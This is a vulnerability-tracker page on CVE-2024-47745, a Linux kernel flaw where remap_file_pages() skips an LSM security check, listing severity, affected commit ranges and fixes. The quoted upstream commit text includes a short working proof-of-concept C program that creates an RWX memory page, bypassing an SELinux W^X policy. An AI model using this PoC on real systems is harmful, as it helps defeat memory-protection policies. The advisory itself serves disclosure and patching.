Answer in brief
CVE-2024-47745 records a High severity (CVSS 7.8) vulnerability in mm: call the security_mmap_file() LSM hook in remap_file_pages(). The current sources do not mark it as known exploited. The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 7.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| Linux/Linuxgeneric | >=c8d78c1823f46519473949d33f0d1d33fe21ea16 <0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 || >=c8d78c1823f46519473949d33f0d1d33fe21ea16 <49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 || >=c8d78c1823f46519473949d33f0d1d33fe21ea16 <3393fddbfa947c8e1fdcc4509226905ffffd8b89 || >=c8d78c1823f46519473949d33f0d1d33fe21ea16 <ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3 || >=c8d78c1823f46519473949d33f0d1d33fe21ea16 <ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 || 097f98edde717ce09f217d8a285fe357dcd29fd1 || >=3.16.59 <3.17 | 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1, 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178, 3393fddbfa947c8e1fdcc4509226905ffffd8b89, ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3, ea7e2d5e49c05e5db1922387b09ca74aa40f46e2, 3.17 |
| Linux/Linuxgeneric | 4.0 | Not reported |
Published upstream
Oct 21, 2024
Evidence: source:cvelist:source_dates:source-dates:recordSource modified
Aug 5, 2026
Evidence: source:cvelist:source_dates:source-dates:recordFirst seen by HOL
Aug 5, 2026
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
Quoted source text, attributed separately from HOL analysis.